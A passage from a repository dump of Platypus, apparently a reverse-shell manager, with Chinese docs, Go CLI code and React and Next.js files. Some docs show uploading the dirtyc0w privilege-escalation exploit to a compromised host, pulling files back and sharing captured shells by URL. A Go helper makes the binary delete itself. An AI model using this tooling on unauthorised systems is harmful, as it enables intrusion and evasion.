当前文件夹下的 `dirtyc0w.c` 上传至当前交互主机的 `/tmp/dirtyc0w.c`。 11 | ```bash 12 | » Upload ./dirtyc0w.c /tmp/dirtyc0w.c 13 | ``` 14 | 15 | #### 下载文件 16 | 17 | 将当前交互主机的 `/tmp/www.tar.gz` 下载至 Platypus 当前文件夹下的 `www.tar.gz` 中。 18 | 19 | ```bash 20 | » Download /tmp/www.tar.gz ./www.tar.gz 21 | ``` -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/interact/cli.md: -------------------------------------------------------------------------------- 1 | # 命令行 2 | 3 | ## 连接 4 | 5 | ![](/images/cli/connect.gif) 6 | 7 | ## 列出当前在线机器 8 | 9 | ![](/images/cli/list.gif) 10 | 11 | ## 选择目标机器 12 | 13 | ![](/images/cli/jump.gif) 14 | 15 | ## 与当前机器进行交互 16 | 17 | ![](/images/cli/interact.gif) 18 | 19 | ## 获取当前机器的交互式 Shell 20 | 21 | ![](/images/cli/interactive.gif) 22 | 23 | ## 上传文件 24 | 25 | ![](/images/cli/upload.gif) 26 | 27 | ## 下载文件 28 | 29 | ![](/images/cli/download.gif) 30 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/interact/web.md: -------------------------------------------------------------------------------- 1 | # Web 界面 2 | 3 | ## 创建新的服务端 4 | 5 | 点击页面顶部的 Create 按钮即可创建新的监听端口。 6 | 7 | ![](/images/webui/add.gif) 8 | 9 | ## 启动交互式 Shell 10 | 11 | ![](/images/webui/shell.gif) 12 | 13 | ## 快速分享 Shell 14 | 15 | 每一个上线的 Termite 客户端(假设其哈希为 `28257c3130906d896d72ee1c9eed7661`)都有一个唯一的 URL 来启动其 Shell,您可以将该 URL 发送给您的队友,他打开之后即可获取对应 Termite 客户端的 Shell,并且每个 Shell 互不影响。 16 | 17 | ``` 18 | http://127.0.0.1:7331/shell/?28257c3130906d896d72ee1c9eed7661 19 | ``` -------------------------------------------------------------------------------- /internal/utils/str/str.go: -------------------------------------------------------------------------------- 1 | package str 2 | 3 | import ( 4 | "crypto/rand" 5 | "math/big" 6 | ) 7 | 8 | func RandomString(n int) string { 9 | const letters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 10 | ret := make([]byte, n) 11 | for i := 0; i < n; i++ { 12 | num, err := rand.Int(rand.Reader, big.NewInt(int64(len(letters)))) 13 | if err != nil { 14 | return "" 15 | } 16 | ret[i] = letters[num.Int64()] 17 | } 18 | 19 | return string(ret) 20 | } 21 | -------------------------------------------------------------------------------- /docs/platypus/src/pages/index.module.css: -------------------------------------------------------------------------------- 1 | /** 2 | * CSS files with the .module.css suffix will be treated as CSS modules 3 | * and scoped locally. 4 | */ 5 | 6 | .heroBanner { 7 | padding: 4rem 0; 8 | text-align: center; 9 | position: relative; 10 | overflow: hidden; 11 | } 12 | 13 | @media screen and (max-width: 996px) { 14 | .heroBanner { 15 | padding: 2rem; 16 | } 17 | } 18 | 19 | .buttons { 20 | display: flex; 21 | align-items: center; 22 | justify-content: center; 23 | } 24 | -------------------------------------------------------------------------------- /web/frontend/src/components/Banner/ServerCreator/PortSelector.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { InputNumber } from "antd"; 3 | 4 | export default class PortSelector extends React.Component { 5 | render() { 6 | return { 12 | this.props.setServerCreatePort(data) 13 | }} 14 | />; 15 | } 16 | } 17 | 18 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | #### Description 11 | ``` 12 | Describe your problem here 13 | ``` 14 | 15 | #### Reproduce 16 | 1. `go run platypus.go` 17 | 2. `Run 0.0.0.0 8080` 18 | ... 19 | 20 | #### Expected behavior 21 | 22 | #### Current behavior 23 | 24 | #### Screenshots/Terminal log 25 | 26 | #### Environments 27 | - OS: Ubuntu 20.04 28 | - Version: 1.5.0 29 | -------------------------------------------------------------------------------- /web/platypus/components.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://ui.shadcn.com/schema.json", 3 | "style": "new-york", 4 | "rsc": true, 5 | "tsx": true, 6 | "tailwind": { 7 | "config": "tailwind.config.ts", 8 | "css": "src/app/globals.css", 9 | "baseColor": "neutral", 10 | "cssVariables": true, 11 | "prefix": "" 12 | }, 13 | "aliases": { 14 | "components": "@/components", 15 | "utils": "@/lib/utils", 16 | "ui": "@/components/ui", 17 | "lib": "@/lib", 18 | "hooks": "@/hooks" 19 | } 20 | } -------------------------------------------------------------------------------- /web/frontend/src/components/Access/index.jsx: -------------------------------------------------------------------------------- 1 | import React, {Component} from 'react'; 2 | const moment = require("moment"); 3 | export default class Access extends Component { 4 | render() { 5 | return ( 6 | Address:{this.props.address} OS:{this.props.os} Username:{this.props.user} Online Time:{moment(this.props.timestamp).fromNow()} 7 | ); 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /web/ttyd/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2015", 4 | "module": "es2015", 5 | "lib": [ 6 | "es2015", 7 | "dom" 8 | ], 9 | "allowJs": true, 10 | "jsx": "react", 11 | "jsxFactory": "h", 12 | "sourceMap": true, 13 | "moduleResolution": "node", 14 | "esModuleInterop": true, 15 | "experimentalDecorators": true, 16 | "noImplicitReturns": true, 17 | "noUnusedParameters": true 18 | }, 19 | "include": [ 20 | "src/**/*.tsx", 21 | "src/**/*.ts" 22 | ] 23 | } 24 | -------------------------------------------------------------------------------- /web/platypus/.gitignore: -------------------------------------------------------------------------------- 1 | # See https://help.github.com/articles/ignoring-files/ for more about ignoring files. 2 | 3 | # dependencies 4 | /node_modules 5 | /.pnp 6 | .pnp.js 7 | .yarn/install-state.gz 8 | 9 | # testing 10 | /coverage 11 | 12 | # next.js 13 | /.next/ 14 | /out/ 15 | 16 | # production 17 | /build 18 | 19 | # misc 20 | .DS_Store 21 | *.pem 22 | 23 | # debug 24 | npm-debug.log* 25 | yarn-debug.log* 26 | yarn-error.log* 27 | 28 | # local env files 29 | .env*.local 30 | 31 | # vercel 32 | .vercel 33 | 34 | # typescript 35 | *.tsbuildinfo 36 | next-env.d.ts 37 | -------------------------------------------------------------------------------- /web/frontend/src/index.js: -------------------------------------------------------------------------------- 1 | import React from 'react'; 2 | import ReactDOM from 'react-dom'; 3 | import './index.css'; 4 | import App from './App'; 5 | import reportWebVitals from './reportWebVitals'; 6 | 7 | ReactDOM.render( 8 | 9 | 10 | , 11 | document.getElementById('root') 12 | ); 13 | 14 | // If you want to start measuring performance in your app, pass a function 15 | // to log results (for example: reportWebVitals(console.log)) 16 | // or send to an analytics endpoint. Learn more: https://bit.ly/CRA-vitals 17 | reportWebVitals(); 18 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/internal/hashing.md: -------------------------------------------------------------------------------- 1 | # 计算节点哈希 2 | 3 | 为了保证 Platypus 同时只维护一个来自相同主机的 Shell,需要对目标主机的唯一性进行判定, 4 | Platypus 使用收集到的目标主机的信息对其进行哈希操作,以此来保证唯一性。 5 | 6 | 哈希所使用的参数可见配置文件: 7 | 8 | ```yaml 9 | # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC. 10 | hashFormat: "%i %u %m %o %t" 11 | ``` 12 | 13 | 其中 `%?` 的含义如下: 14 | 15 | * `%i` 上线机器的 IP 16 | * `%u` 上线机器的用户名 17 | * `%m` 上线机器的网络接口 18 | * `%o` 上线机器的操作系统 19 | * `%t` 上线的时间戳 20 | 21 | 默认情况下,Platypus 将会按照配置文件中的哈希模式 `"%i %u %m %o %t"` 对上线的客户端进行哈希。 22 | 按照上述的哈希模式已经基本可以保证同一个 IP、用户上线的连接将只会保留一个,因此您不需要对其进行修改。 -------------------------------------------------------------------------------- /internal/utils/ui/prompt.go: -------------------------------------------------------------------------------- 1 | package ui 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "strings" 8 | ) 9 | 10 | func PromptYesNo(message string) bool { 11 | for { 12 | fmt.Printf("%s [Y/N] ", message) 13 | inputReader := bufio.NewReader(os.Stdin) 14 | input, err := inputReader.ReadString('\n') 15 | if err != nil { 16 | fmt.Println() 17 | continue 18 | } 19 | if strings.HasPrefix(strings.ToLower(input), "y") { 20 | return true 21 | } else if strings.HasPrefix(strings.ToLower(input), "n") { 22 | return false 23 | } else { 24 | continue 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/exit.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | ) 8 | 9 | func (dispatcher commandDispatcher) Exit(args []string) { 10 | context.Shutdown() 11 | } 12 | 13 | func (dispatcher commandDispatcher) ExitHelp(args []string) { 14 | fmt.Println("Usage of Exit") 15 | fmt.Println("\tExit") 16 | } 17 | 18 | func (dispatcher commandDispatcher) ExitDesc(args []string) { 19 | fmt.Println("Exit") 20 | fmt.Println("\tExit the whole process") 21 | fmt.Println("\tIf there is any listening server, it will ask you to stop them or not") 22 | } 23 | -------------------------------------------------------------------------------- /web/frontend/src/components/SideBar/SideBar.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import { Layout } from "antd"; 3 | import ServersList from "./ServersList/ServersList"; 4 | 5 | const { Sider } = Layout; 6 | 7 | export default class SideBar extends React.Component { 8 | render() { 9 | return 10 | 16 | ; 17 | } 18 | } 19 | 20 | 21 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/upgrade_to_metasploit.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | func (dispatcher commandDispatcher) UpgradeToMetasploit(args []string) { 8 | fmt.Println("TO BE IMPLEMENTED.") 9 | } 10 | 11 | func (dispatcher commandDispatcher) UpgradeToMetasploitHelp(args []string) { 12 | fmt.Println("Usage of UpgradeToMetasploit") 13 | fmt.Println("\tUpgradeToMetasploit [SRC] [DST]") 14 | } 15 | 16 | func (dispatcher commandDispatcher) UpgradeToMetasploitDesc(args []string) { 17 | fmt.Println("UpgradeToMetasploit") 18 | fmt.Println("\tUpgrade Platypus session to Metasploit session") 19 | } 20 | -------------------------------------------------------------------------------- /web/frontend/public/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "short_name": "React App", 3 | "name": "Create React App Sample", 4 | "icons": [ 5 | { 6 | "src": "favicon.ico", 7 | "sizes": "64x64 32x32 24x24 16x16", 8 | "type": "image/x-icon" 9 | }, 10 | { 11 | "src": "logo192.png", 12 | "type": "image/png", 13 | "sizes": "192x192" 14 | }, 15 | { 16 | "src": "logo512.png", 17 | "type": "image/png", 18 | "sizes": "512x512" 19 | } 20 | ], 21 | "start_url": ".", 22 | "display": "standalone", 23 | "theme_color": "#000000", 24 | "background_color": "#ffffff" 25 | } 26 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | repos: 2 | - repo: https://github.com/dnephin/pre-commit-golang 3 | rev: v0.5.1 4 | hooks: 5 | - id: go-fmt 6 | - id: go-lint 7 | - id: go-imports 8 | - id: go-cyclo 9 | args: [-over=15] 10 | - id: validate-toml 11 | - id: no-go-testing 12 | - id: golangci-lint 13 | - id: go-critic 14 | - id: go-unit-tests 15 | - id: go-build 16 | - id: go-mod-tidy 17 | 18 | - repo: https://github.com/Yelp/detect-secrets 19 | rev: v1.5.0 20 | hooks: 21 | - id: detect-secrets 22 | files: \.(go|yaml|yml|json)$ 23 | exclude: \.secrets\.baseline 24 | -------------------------------------------------------------------------------- /docs/platypus/blog/2021-08-01-mdx-blog-post.mdx: -------------------------------------------------------------------------------- 1 | --- 2 | slug: mdx-blog-post 3 | title: MDX Blog Post 4 | authors: [slorber] 5 | tags: [docusaurus] 6 | --- 7 | 8 | Blog posts support [Docusaurus Markdown features](https://docusaurus.io/docs/markdown-features), such as [MDX](https://mdxjs.com/). 9 | 10 | :::tip 11 | 12 | Use the power of React to create interactive blog posts. 13 | 14 | ::: 15 | 16 | {/* truncate */} 17 | 18 | For example, use JSX to create an interactive button: 19 | 20 | ```js 21 | 22 | ``` 23 | 24 | 25 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | # github: [WangYihang] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: platypus 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /internal/context/sig_windows.go: -------------------------------------------------------------------------------- 1 | package context 2 | 3 | import ( 4 | "os" 5 | "os/signal" 6 | "syscall" 7 | 8 | "github.com/WangYihang/Platypus/internal/utils/ui" 9 | ) 10 | 11 | func Signal() { 12 | // Capture Signal 13 | c := make(chan os.Signal) 14 | signal.Notify( 15 | c, 16 | syscall.SIGTERM, 17 | os.Interrupt, 18 | ) 19 | 20 | go func() { 21 | for { 22 | switch sig := <-c; sig { 23 | case syscall.SIGTERM: 24 | if ui.PromptYesNo("os.Interrupt, Exit?") { 25 | Shutdown() 26 | } 27 | case os.Interrupt: 28 | if ui.PromptYesNo("os.Interrupt, Exit?") { 29 | Shutdown() 30 | } 31 | } 32 | } 33 | }() 34 | } 35 | -------------------------------------------------------------------------------- /pkg/dependencies/logger.go: -------------------------------------------------------------------------------- 1 | package dependencies 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/pkg/models" 7 | "go.uber.org/zap" 8 | ) 9 | 10 | // InitLogger initializes the logger based on the environment 11 | func InitLogger(env models.Environment) func() (*zap.Logger, error) { 12 | return func() (*zap.Logger, error) { 13 | switch env { 14 | case models.Development: 15 | return zap.NewDevelopment() 16 | case models.Staging: 17 | return zap.NewDevelopment() 18 | case models.Production: 19 | return zap.NewProduction() 20 | default: 21 | return nil, fmt.Errorf("unsupported environment: %s", env) 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /internal/utils/os/os.go: -------------------------------------------------------------------------------- 1 | package os 2 | 3 | type OperatingSystem int 4 | 5 | const ( 6 | Unknown OperatingSystem = iota 7 | Linux 8 | Windows 9 | WindowsPowerShell 10 | SunOS 11 | MacOS 12 | FreeBSD 13 | ) 14 | 15 | func (os OperatingSystem) String() string { 16 | return [...]string{"Unknown", "🐧", "❖", "❖ [PowerShell]", "SunOS", "🍎", "FreeBSD"}[os] 17 | } 18 | 19 | func Parse(osstr string) OperatingSystem { 20 | table := map[string]OperatingSystem{ 21 | "linux": Linux, 22 | "windows": Windows, 23 | "darwin": MacOS, 24 | "freebsd": FreeBSD, 25 | } 26 | if value, ok := table[osstr]; ok { 27 | return value 28 | } else { 29 | return Unknown 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /web/ttyd/src/template.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | <%= htmlWebpackPlugin.options.title %> 7 | 8 | <% for (const css in htmlWebpackPlugin.files.css) { %> 9 | 10 | <% } %> 11 | 12 | 13 | <% for (const js in htmlWebpackPlugin.files.js) { %> 14 | 15 | <% } %> 16 | 17 | 18 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Additional context** 20 | Add any other context or screenshots about the feature request here. 21 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | Use this section to tell people about which versions of your project are 6 | currently being supported with security updates. 7 | 8 | | Version | Supported | 9 | | ------- | ------------------ | 10 | | 5.1.x | :white_check_mark: | 11 | | 5.0.x | :x: | 12 | | 4.0.x | :white_check_mark: | 13 | | < 4.0 | :x: | 14 | 15 | ## Reporting a Vulnerability 16 | 17 | Use this section to tell people how to report a vulnerability. 18 | 19 | Tell them where to go, how often they can expect to get an update on a 20 | reported vulnerability, what to expect if the vulnerability is accepted or 21 | declined, etc. 22 | -------------------------------------------------------------------------------- /web/platypus/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "lib": ["dom", "dom.iterable", "esnext"], 4 | "allowJs": true, 5 | "skipLibCheck": true, 6 | "strict": true, 7 | "noEmit": true, 8 | "esModuleInterop": true, 9 | "module": "esnext", 10 | "moduleResolution": "bundler", 11 | "resolveJsonModule": true, 12 | "isolatedModules": true, 13 | "jsx": "preserve", 14 | "incremental": true, 15 | "plugins": [ 16 | { 17 | "name": "next" 18 | } 19 | ], 20 | "paths": { 21 | "@/*": ["./src/*"] 22 | } 23 | }, 24 | "include": ["next-env.d.ts", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"], 25 | "exclude": ["node_modules"] 26 | } 27 | -------------------------------------------------------------------------------- /docs/platypus/blog/authors.yml: -------------------------------------------------------------------------------- 1 | yangshun: 2 | name: Yangshun Tay 3 | title: Front End Engineer @ Facebook 4 | url: https://github.com/yangshun 5 | image_url: https://github.com/yangshun.png 6 | page: true 7 | socials: 8 | x: yangshunz 9 | github: yangshun 10 | 11 | slorber: 12 | name: Sébastien Lorber 13 | title: Docusaurus maintainer 14 | url: https://sebastienlorber.com 15 | image_url: https://github.com/slorber.png 16 | page: 17 | # customize the url of the author page at /blog/authors/ 18 | permalink: '/all-sebastien-lorber-articles' 19 | socials: 20 | x: sebastienlorber 21 | linkedin: sebastienlorber 22 | github: slorber 23 | newsletter: https://thisweekinreact.com 24 | -------------------------------------------------------------------------------- /pkg/utils/executable.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | 7 | "go.uber.org/zap" 8 | ) 9 | 10 | // RemoveSelfExecutable removes the self executable 11 | func RemoveSelfExecutable(logger *zap.Logger) error { 12 | path, err := filepath.Abs(os.Args[0]) 13 | if err != nil { 14 | logger.Error("failed to get absolute path", zap.String("error", err.Error())) 15 | return err 16 | } 17 | logger.Info("removing self executable", zap.String("path", path)) 18 | err = os.Remove(path) 19 | if err != nil { 20 | logger.Error("failed to remove self executable", zap.String("path", path), zap.String("error", err.Error())) 21 | return err 22 | } 23 | logger.Info("self executable removed", zap.String("path", path)) 24 | return nil 25 | } 26 | -------------------------------------------------------------------------------- /web/ttyd/src/components/modal/index.tsx: -------------------------------------------------------------------------------- 1 | import { h, Component, ComponentChildren } from 'preact'; 2 | 3 | import './modal.scss'; 4 | 5 | interface Props { 6 | show: boolean; 7 | children: ComponentChildren; 8 | } 9 | 10 | export class Modal extends Component { 11 | constructor(props: Props) { 12 | super(props); 13 | } 14 | 15 | render({ show, children }: Props) { 16 | return ( 17 | show && ( 18 |
19 |
20 |
21 |
{children}
22 |
23 |
24 | ) 25 | ); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /web/frontend/src/App.css: -------------------------------------------------------------------------------- 1 | @import '~antd/dist/antd.css'; 2 | .App { 3 | text-align: center; 4 | } 5 | 6 | .App-logo { 7 | height: 40vmin; 8 | pointer-events: none; 9 | } 10 | 11 | @media (prefers-reduced-motion: no-preference) { 12 | .App-logo { 13 | animation: App-logo-spin infinite 20s linear; 14 | } 15 | } 16 | 17 | .App-header { 18 | background-color: #282c34; 19 | min-height: 100vh; 20 | display: flex; 21 | flex-direction: column; 22 | align-items: center; 23 | justify-content: center; 24 | font-size: calc(10px + 2vmin); 25 | color: white; 26 | } 27 | 28 | .App-link { 29 | color: #61dafb; 30 | } 31 | 32 | @keyframes App-logo-spin { 33 | from { 34 | transform: rotate(0deg); 35 | } 36 | to { 37 | transform: rotate(360deg); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /docs/platypus/docs/dev-guide/internal/startup.md: -------------------------------------------------------------------------------- 1 | # 启动过程 2 | 3 | 当 Platypus 运行后,会检测当前文件夹中是否存在 `config.yml` 文件,若无则会根据模板自动生成该配置文件,然后读取该配置文件进行启动。 4 | 5 | 启动时,Platypus 会首先检查是否存在新版本并询问用户是否升级, 6 | 其次会检查自己的公网 IP 地址,接着进行端口的绑定监听, 7 | 并输出用于辅助测试人员使用的反向 Shell 命令, 8 | 最后终端将会出现命令提示符 `» `,表明此时即可开始与 Platypus 进行交互。 9 | 10 | 在默认情况下,Platypus 会按照 `config.yml` 中的配置监听 4 个端口。 11 | 12 | * `0.0.0.0:13339` 端口用来分发 Termite 客户端; 13 | * `0.0.0.0:13337` 端口用来接收回连的 Termite 客户端; 14 | * `0.0.0.0:13338` 端口用来接收回连的 Shell(该端口可视作 netcat 的升级版); 15 | * `127.0.0.1:7331` 端口用来提供 Web 界面的访问以及 RESTful API 服务。 16 | 17 | !!! Warning 18 | 由于目前 [Platypus v1.5.0](https://github.com/WangYihang/Platypus/releases/tag/v1.5.0) 的 Web 界面还**没有提供任何认证**功能,因此其 Web 端口(7331)默认监听本地回环。如果您想要将其部署在公网上,这意味着任何知道您的 Web 界面端口的人都可以直接访问您 当前获取的所有 Shell,因此请等待后续版本添加了认证功能之后再将 Platypus 部署在公网上。 19 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | go.work.sum 23 | 24 | # env file 25 | .env 26 | dist/ 27 | 28 | # Config file 29 | config.yml 30 | config-v*.yml 31 | 32 | # Visual Studio Code 33 | .vscode/ 34 | 35 | # Vagrant 36 | .vagrant/ 37 | 38 | # air 39 | tmp/ 40 | 41 | # SQLite 42 | *.sqlite3 -------------------------------------------------------------------------------- /internal/cli/dispatcher/list.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | 6 | "github.com/WangYihang/Platypus/internal/context" 7 | "github.com/WangYihang/Platypus/internal/utils/log" 8 | ) 9 | 10 | func (dispatcher commandDispatcher) List(args []string) { 11 | if len(context.Ctx.Servers) == 0 { 12 | log.Warn("No listening servers") 13 | return 14 | } 15 | log.Info("Listing %d listening servers", len(context.Ctx.Servers)) 16 | 17 | for _, server := range context.Ctx.Servers { 18 | server.AsTable() 19 | } 20 | } 21 | 22 | func (dispatcher commandDispatcher) ListHelp(args []string) { 23 | fmt.Println("Usage of List") 24 | fmt.Println("\tList") 25 | } 26 | 27 | func (dispatcher commandDispatcher) ListDesc(args []string) { 28 | fmt.Println("List") 29 | fmt.Println("\tTry list all listening servers and connected clients") 30 | } 31 | -------------------------------------------------------------------------------- /pkg/version/version.go: -------------------------------------------------------------------------------- 1 | package version 2 | 3 | import ( 4 | "encoding/json" 5 | "os" 6 | ) 7 | 8 | var ( 9 | // Version is the version of the application 10 | Version = "0.0.1" 11 | // Commit is the git commit hash of the application 12 | Commit = "HEAD" 13 | // Date is the build date of the application 14 | Date = "1970-01-01T00:00:00Z" 15 | ) 16 | 17 | // GetVersion returns the version information of the application 18 | func GetVersion() (string, error) { 19 | info := map[string]string{ 20 | "version": Version, 21 | "commit": Commit, 22 | "date": Date, 23 | } 24 | jsonData, err := json.Marshal(info) 25 | if err != nil { 26 | return "", err 27 | } 28 | return string(jsonData), nil 29 | } 30 | 31 | // PrintVersion prints the version information of the application 32 | func PrintVersion() { 33 | versionString, _ := GetVersion() 34 | os.Stderr.WriteString(versionString) 35 | os.Exit(0) 36 | } 37 | -------------------------------------------------------------------------------- /web/platypus/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "platypus", 3 | "version": "0.1.0", 4 | "private": true, 5 | "scripts": { 6 | "dev": "next dev", 7 | "build": "next build", 8 | "start": "next start", 9 | "lint": "next lint" 10 | }, 11 | "dependencies": { 12 | "@radix-ui/react-icons": "^1.3.0", 13 | "@radix-ui/react-slot": "^1.1.0", 14 | "class-variance-authority": "^0.7.0", 15 | "clsx": "^2.1.1", 16 | "lucide-react": "^0.441.0", 17 | "next": "14.2.35", 18 | "react": "^18", 19 | "react-dom": "^18", 20 | "tailwind-merge": "^2.5.2", 21 | "tailwindcss-animate": "^1.0.7" 22 | }, 23 | "devDependencies": { 24 | "@types/node": "^20", 25 | "@types/react": "^18", 26 | "@types/react-dom": "^18", 27 | "eslint": "^8", 28 | "eslint-config-next": "14.2.11", 29 | "postcss": "^8", 30 | "tailwindcss": "^3.4.1", 31 | "typescript": "^5" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /web/platypus/src/app/layout.tsx: -------------------------------------------------------------------------------- 1 | import type { Metadata } from "next"; 2 | import localFont from "next/font/local"; 3 | import "./globals.css"; 4 | 5 | const geistSans = localFont({ 6 | src: "./fonts/GeistVF.woff", 7 | variable: "--font-geist-sans", 8 | weight: "100 900", 9 | }); 10 | const geistMono = localFont({ 11 | src: "./fonts/GeistMonoVF.woff", 12 | variable: "--font-geist-mono", 13 | weight: "100 900", 14 | }); 15 | 16 | export const metadata: Metadata = { 17 | title: "Create Next App", 18 | description: "Generated by create next app", 19 | }; 20 | 21 | export default function RootLayout({ 22 | children, 23 | }: Readonly<{ 24 | children: React.ReactNode; 25 | }>) { 26 | return ( 27 | 28 | 31 | {children} 32 | 33 | 34 | ); 35 | } 36 | -------------------------------------------------------------------------------- /docs/platypus/sidebars.ts: -------------------------------------------------------------------------------- 1 | import type {SidebarsConfig} from '@docusaurus/plugin-content-docs'; 2 | 3 | /** 4 | * Creating a sidebar enables you to: 5 | - create an ordered group of docs 6 | - render a sidebar for each doc of that group 7 | - provide next/previous navigation 8 | 9 | The sidebars can be generated from the filesystem, or explicitly defined here. 10 | 11 | Create as many sidebars as you want. 12 | */ 13 | const sidebars: SidebarsConfig = { 14 | // By default, Docusaurus generates a sidebar from the docs folder structure 15 | tutorialSidebar: [{type: 'autogenerated', dirName: '.'}], 16 | 17 | // But you can create a sidebar manually 18 | /* 19 | tutorialSidebar: [ 20 | 'intro', 21 | 'hello', 22 | { 23 | type: 'category', 24 | label: 'Tutorial', 25 | items: ['tutorial-basics/create-a-document'], 26 | }, 27 | ], 28 | */ 29 | }; 30 | 31 | export default sidebars; 32 | -------------------------------------------------------------------------------- /docs/platypus/README.md: -------------------------------------------------------------------------------- 1 | # Website 2 | 3 | This website is built using [Docusaurus](https://docusaurus.io/), a modern static website generator. 4 | 5 | ### Installation 6 | 7 | ``` 8 | $ yarn 9 | ``` 10 | 11 | ### Local Development 12 | 13 | ``` 14 | $ yarn start 15 | ``` 16 | 17 | This command starts a local development server and opens up a browser window. Most changes are reflected live without having to restart the server. 18 | 19 | ### Build 20 | 21 | ``` 22 | $ yarn build 23 | ``` 24 | 25 | This command generates static content into the `build` directory and can be served using any static contents hosting service. 26 | 27 | ### Deployment 28 | 29 | Using SSH: 30 | 31 | ``` 32 | $ USE_SSH=true yarn deploy 33 | ``` 34 | 35 | Not using SSH: 36 | 37 | ``` 38 | $ GIT_USER= yarn deploy 39 | ``` 40 | 41 | If you are using GitHub pages for hosting, this command is a convenient way to build the website and push to the `gh-pages` branch. 42 | -------------------------------------------------------------------------------- /.devcontainer/docker-compose.yaml: -------------------------------------------------------------------------------- 1 | services: 2 | postgres: 3 | image: postgres 4 | environment: 5 | - POSTGRES_USER=platypus 6 | - POSTGRES_PASSWORD=platypus 7 | - POSTGRES_DB=platypus 8 | - PGDATA=/var/lib/postgres/data/pgdata 9 | volumes: 10 | - postgres_data:/var/lib/postgres/data 11 | healthcheck: 12 | test: ["CMD-SHELL", "pg_isready -U platypus"] 13 | interval: 10s 14 | timeout: 5s 15 | retries: 5 16 | 17 | backend: 18 | build: 19 | context: ../ 20 | dockerfile: Dockerfile 21 | depends_on: 22 | postgres: 23 | condition: service_healthy 24 | restart: true 25 | command: sleep infinity 26 | volumes: 27 | - ../:/workspace 28 | 29 | frontend: 30 | build: 31 | context: ../web/frontend 32 | dockerfile: Dockerfile 33 | command: sleep infinity 34 | volumes: 35 | - ../:/workspace 36 | 37 | volumes: 38 | postgres_data: 39 | -------------------------------------------------------------------------------- /web/frontend/src/components/SideBar/ServersList/ServersList.js: -------------------------------------------------------------------------------- 1 | import React from "react"; 2 | import SingleServer from "./SingleServer"; 3 | import { Menu } from "antd"; 4 | 5 | export default class ServersList extends React.Component { 6 | render() { 7 | return 13 | {this.props.serversList.map((value, index) => { 14 | return { 17 | this.props.selectServer(item.key) 18 | this.props.unShowRbac() 19 | }} 20 | > 21 | 22 | 23 | })} 24 | 25 | ; 26 | } 27 | } 28 | 29 | 30 | -------------------------------------------------------------------------------- /internal/cli/dispatcher/help.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | 